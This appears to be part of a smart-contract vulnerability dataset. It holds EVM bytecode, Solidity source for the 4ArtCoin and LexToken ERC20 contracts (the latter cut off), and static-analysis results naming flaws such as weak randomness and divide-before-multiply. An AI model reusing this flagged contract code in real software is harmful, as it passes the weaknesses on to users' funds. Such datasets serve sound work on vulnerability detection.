209081015492810154950154835192835293820194909452808201929092524260608301525185917f5a8aa1a17b8fc49234218cb19e58e9c115c83c7c7a3ce78b6f763cae8bda29f8919081900360800190a3600754604080519182526020820184905280517f97643223266a8ff2acef23f0ef956c2d74b6560ee457d1dc055942762995b5379281900390910190a16108a9565b50506000908152600d6020526040812055565b600082151561273d575060006127a3565b5081810281838281151561274d57fe5b04146127a3576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b818101828110156127a3576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b336000908152600860205260408120548015156128dd57600680546001908101808355336000818152600860209081526040808320859055938252600c9052828120805473ffffffffffffffffffffffffffffffffffffffff19169092179091558354815281812090920182905591548152818120600301805460ff191690558481522054600160a060020a0316158015906128b657506000838152600c602052604090206003015460ff1615156001145b156128d3576006546000908152600c602052604090206002018390555b60065491506125b2565b8091506125b2565b60008080808060646128fe87600363ffffffff61272c16565b81151561290757fe5b04935061291a868563ffffffff612a3516565b6000888152600c60205260409020600201549093509150811561299e57606461294a85603c63ffffffff61272c16565b81151561295357fe5b049050612966848263ffffffff612a3516565b6000838152600c602052604090206001015490945061298b908263ffffffff6127a916565b6000838152600c60205260409020600101555b6004546129b1908563ffffffff6127a916565b600455509095945050505050565b60006129c9612ab9565b50506000828152600b6020908152604080832060039081015482516060810184526001808301825296909101818501908152818401988952968552600a845291842080548087018255908552929093209051919092029091019081559151908201559051600290910155565b600082821115612a8f576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b5080546000825560030290600052602060002090810190612ab69190612adb565b50565b6060604051908101604052806000815260200160008152602001600081525090565b610bde91905b80821115612b02576000808255600182018190556002820155600301612ae1565b509056005065726d697373696f6e2064656e6965640000000000000000000000000000006974732063616e206f6e6c792062652063616c6c2062792061646d696e00000063616e742066696e642074686973206265740000000000000000000000000000a165627a7a7230582025f8d5f01c0ff1c06430fc1af8aeb33461c3f7f2652764b910112a87cd2ecd5b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,469
0x635d767cb1df59053d34852758bafbba889ad3f8
/** * 4art ERC20 StandardToken * Author: scalify.it * */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event DelegatedTransfer(address indexed from, address indexed to, address indexed delegate, uint256 value, uint256 fee); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Owned() public { owner = msg.sender; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract FourArt is StandardToken, Owned { string public constant name = "4ArtCoin"; string public constant symbol = "4Art"; uint8 public constant decimals = 18; uint256 public sellPrice = 0; // eth uint256 public buyPrice = 0; // eth mapping (address => bool) private SubFounders; mapping (address => bool) private TeamAdviserPartner; //FounderAddress1 is main founder address private FounderAddress1; address private FounderAddress2; address private FounderAddress3; address private FounderAddress4; address private FounderAddress5; address private teamAddress; address private adviserAddress; address private partnershipAddress; address private bountyAddress; address private affiliateAddress; address private miscAddress; function FourArt( address _founderAddress1, address _founderAddress2, address _founderAddress3, address _founderAddress4, address _founderAddress5, address _teamAddress, address _adviserAddress, address _partnershipAddress, address _bountyAddress, address _affiliateAddress, address _miscAddress ) { totalSupply = 6500000000e18; //assign initial tokens for sale to contracter balances[msg.sender] = 4354000000e18; FounderAddress1 = _founderAddress1; FounderAddress2 = _founderAddress2; FounderAddress3 = _founderAddress3; FounderAddress4 = _founderAddress4; FounderAddress5 = _founderAddress5; teamAddress = _teamAddress; adviserAddress = _adviserAddress; partnershipAddress = _partnershipAddress; bountyAddress = _bountyAddress; affiliateAddress = _affiliateAddress; miscAddress = _miscAddress; //Assign tokens to the addresses at contract deployment balances[FounderAddress1] = 1390000000e18; balances[FounderAddress2] = 27500000e18; balances[FounderAddress3] = 27500000e18; balances[FounderAddress4] = 27500000e18; balances[FounderAddress5] = 27500000e18; balances[teamAddress] = 39000000e18; balances[adviserAddress] = 39000000e18; balances[partnershipAddress] = 39000000e18; balances[bountyAddress] = 65000000e18; balances[affiliateAddress] = 364000000e18; balances[miscAddress] = 100000000e18; //checks for tokens transfer SubFounders[FounderAddress2] = true; SubFounders[FounderAddress3] = true; SubFounders[FounderAddress4] = true; SubFounders[FounderAddress5] = true; TeamAdviserPartner[teamAddress] = true; TeamAdviserPartner[adviserAddress] = true; TeamAdviserPartner[partnershipAddress] = true; } // Set buy and sell price of 1 token in eth. function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } // @notice Buy tokens from contract by sending ether function buy() payable public { require(now > 1543536000); // seconds since 01.01.1970 to 30.11.2018 (18:00:00 o&#39;clock GMT) uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(owner, msg.sender, amount); // makes the transfers } // @notice Sell `amount` tokens to contract function sell(uint256 amount) public { require(now > 1543536000); // seconds since 01.01.1970 to 30.11.2018 (18:00:00 o&#39;clock GMT) require(amount > 0); require(balances[msg.sender] >= amount); uint256 requiredBalance = amount.mul(sellPrice); require(this.balance >= requiredBalance); // checks if the contract has enough ether to pay balances[msg.sender] -= amount; balances[owner] += amount; Transfer(msg.sender, owner, amount); msg.sender.transfer(requiredBalance); // sends ether to the seller. } function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); // Subtract from the sender balances[_from] -= _value; // Add the same to the recipient balances[_to] += _value; Transfer(_from, _to, _value); } // @dev if owner wants to transfer contract ether balance to own account. function transferBalanceToOwner(uint256 _value) public onlyOwner { require(_value <= this.balance); owner.transfer(_value); } // @dev if someone wants to transfer tokens to other account. function transferTokens(address _to, uint256 _tokens) lockTokenTransferBeforeStage4 TeamTransferConditions(_tokens, msg.sender) public { _transfer(msg.sender, _to, _tokens); } // @dev Transfer tokens from one address to another function transferFrom(address _from, address _to, uint256 _value) lockTokenTransferBeforeStage4 TeamTransferConditions(_value, _from) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } modifier lockTokenTransferBeforeStage4{ if(msg.sender != owner){ require(now > 1533513600); // Locking till stage 4 starting date (ICO). } _; } modifier TeamTransferConditions(uint256 _tokens, address _address) { if(SubFounders[_address]){ require(now > 1543536000); if(now > 1543536000 && now < 1569628800){ //90% lock of total 27500000e18 isLocked(_tokens, 24750000e18, _address); } if(now > 1569628800 && now < 1601251200){ //50% lock of total 27500000e18 isLocked(_tokens, 13750000e18, _address); } } if(TeamAdviserPartner[_address]){ require(now > 1543536000); if(now > 1543536000 && now < 1569628800){ //85% lock of total 39000000e18 isLocked(_tokens, 33150000e18, _address); } if(now > 1569628800 && now < 1601251200){ //60% lock of total 39000000e18 isLocked(_tokens, 23400000e18, _address); } } _; } // @dev if someone wants to transfer tokens to other account. function isLocked(uint256 _value,uint256 remainingTokens, address _address) internal returns (bool) { uint256 remainingBalance = balances[_address].sub(_value); require(remainingBalance >= remainingTokens); return true; } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461011757806306fdde031461014e578063095ea7b3146101de57806318160ddd1461024357806323b872dd1461026e57806327e235e3146102f3578063313ce5671461034a5780634b7503341461037b57806366188463146103a657806370a082311461040b5780638620410b146104625780638da5cb5b1461048d57806395d89b41146104e4578063a6f2ae3a14610574578063bec3fa171461057e578063cbcdc2e4146105cb578063d73dd623146105f8578063dd62ed3e1461065d578063e4849b32146106d4578063f2fde38b14610701575b600080fd5b34801561012357600080fd5b5061014c6004803603810190808035906020019092919080359060200190929190505050610744565b005b34801561015a57600080fd5b506101636107b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a3578082015181840152602081019050610188565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b50610229600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107eb565b604051808215151515815260200191505060405180910390f35b34801561024f57600080fd5b506102586108dd565b6040518082815260200191505060405180910390f35b34801561027a57600080fd5b506102d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e3565b604051808215151515815260200191505060405180910390f35b3480156102ff57600080fd5b50610334600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea7565b6040518082815260200191505060405180910390f35b34801561035657600080fd5b5061035f610ebf565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038757600080fd5b50610390610ec4565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eca565b604051808215151515815260200191505060405180910390f35b34801561041757600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115b565b6040518082815260200191505060405180910390f35b34801561046e57600080fd5b506104776111a4565b6040518082815260200191505060405180910390f35b34801561049957600080fd5b506104a26111aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f057600080fd5b506104f96111d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053957808201518184015260208101905061051e565b50505050905090810190601f1680156105665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61057c611209565b005b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611264565b005b3480156105d757600080fd5b506105f660048036038101908080359060200190929190505050611477565b005b34801561060457600080fd5b50610643600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611565565b604051808215151515815260200191505060405180910390f35b34801561066957600080fd5b506106be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611761565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff600480360381019080803590602001909291905050506117e8565b005b34801561070d57600080fd5b50610742600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a24565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107a057600080fd5b81600481905550806005819055505050565b6040805190810160405280600881526020017f34417274436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094f57635b678f804211151561094e57600080fd5b5b8184600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a1c57635c007d80421115156109b557600080fd5b635c007d80421180156109cb5750635d8ea28042105b156109e8576109e6826a147904303e4ff950c0000083611b7c565b505b635d8ea280421180156109fe5750635f71278042105b15610a1b57610a19826a0b5facfe5b81c365c0000083611b7c565b505b5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ae757635c007d8042111515610a8057600080fd5b635c007d8042118015610a965750635d8ea28042105b15610ab357610ab1826a1b6bc919d43c9232c0000083611b7c565b505b635d8ea28042118015610ac95750635f71278042105b15610ae657610ae4826a135b248ab3ee855100000083611b7c565b505b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610b2357600080fd5b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548411151515610b7157600080fd5b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548411151515610bfc57600080fd5b610c4e84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bee90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce384600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0a90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610db584600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bee90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b60016020528060005260406000206000915090505481565b601281565b60045481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fdb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106f565b610fee8382611bee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f344172740000000000000000000000000000000000000000000000000000000081525081565b6000635c007d804211151561121d57600080fd5b61123260055434611c2b90919063ffffffff16565b9050611261600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611c46565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ce57635b678f80421115156112cd57600080fd5b5b8033600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561139b57635c007d804211151561133457600080fd5b635c007d804211801561134a5750635d8ea28042105b1561136757611365826a147904303e4ff950c0000083611b7c565b505b635d8ea2804211801561137d5750635f71278042105b1561139a57611398826a0b5facfe5b81c365c0000083611b7c565b505b5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561146657635c007d80421115156113ff57600080fd5b635c007d80421180156114155750635d8ea28042105b1561143257611430826a1b6bc919d43c9232c0000083611b7c565b505b635d8ea280421180156114485750635f71278042105b1561146557611463826a135b248ab3ee855100000083611b7c565b505b5b611471338585611c46565b50505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114d357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163181111515156114f957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611561573d6000803e3d6000fd5b5050565b60006115f682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000635c007d80421115156117fc57600080fd5b60008211151561180b57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561185957600080fd5b61186e60045483611e4c90919063ffffffff16565b9050803073ffffffffffffffffffffffffffffffffffffffff16311015151561189657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a1f573d6000803e3d6000fd5b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611abc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080611bd185600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bee90919063ffffffff16565b9050838110151515611be257600080fd5b60019150509392505050565b6000828211151515611bff57600080fd5b818303905092915050565b6000808284019050838110151515611c2157600080fd5b8091505092915050565b6000808284811515611c3957fe5b0490508091505092915050565b60008273ffffffffffffffffffffffffffffffffffffffff1614151515611c6c57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611cba57600080fd5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611d4857600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008082840290506000841480611e6d5750828482811515611e6a57fe5b04145b1515611e7857600080fd5b80915050929150505600a165627a7a7230582040b5737822426c49c489a687a10a1e958998f3a0bd89411c4a71f26caaec6e940029
{"success": true, "error": null, "results": {}}
7,470
0x3bc80d2402ae2530c25a33b11bce629d714a9d91
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); 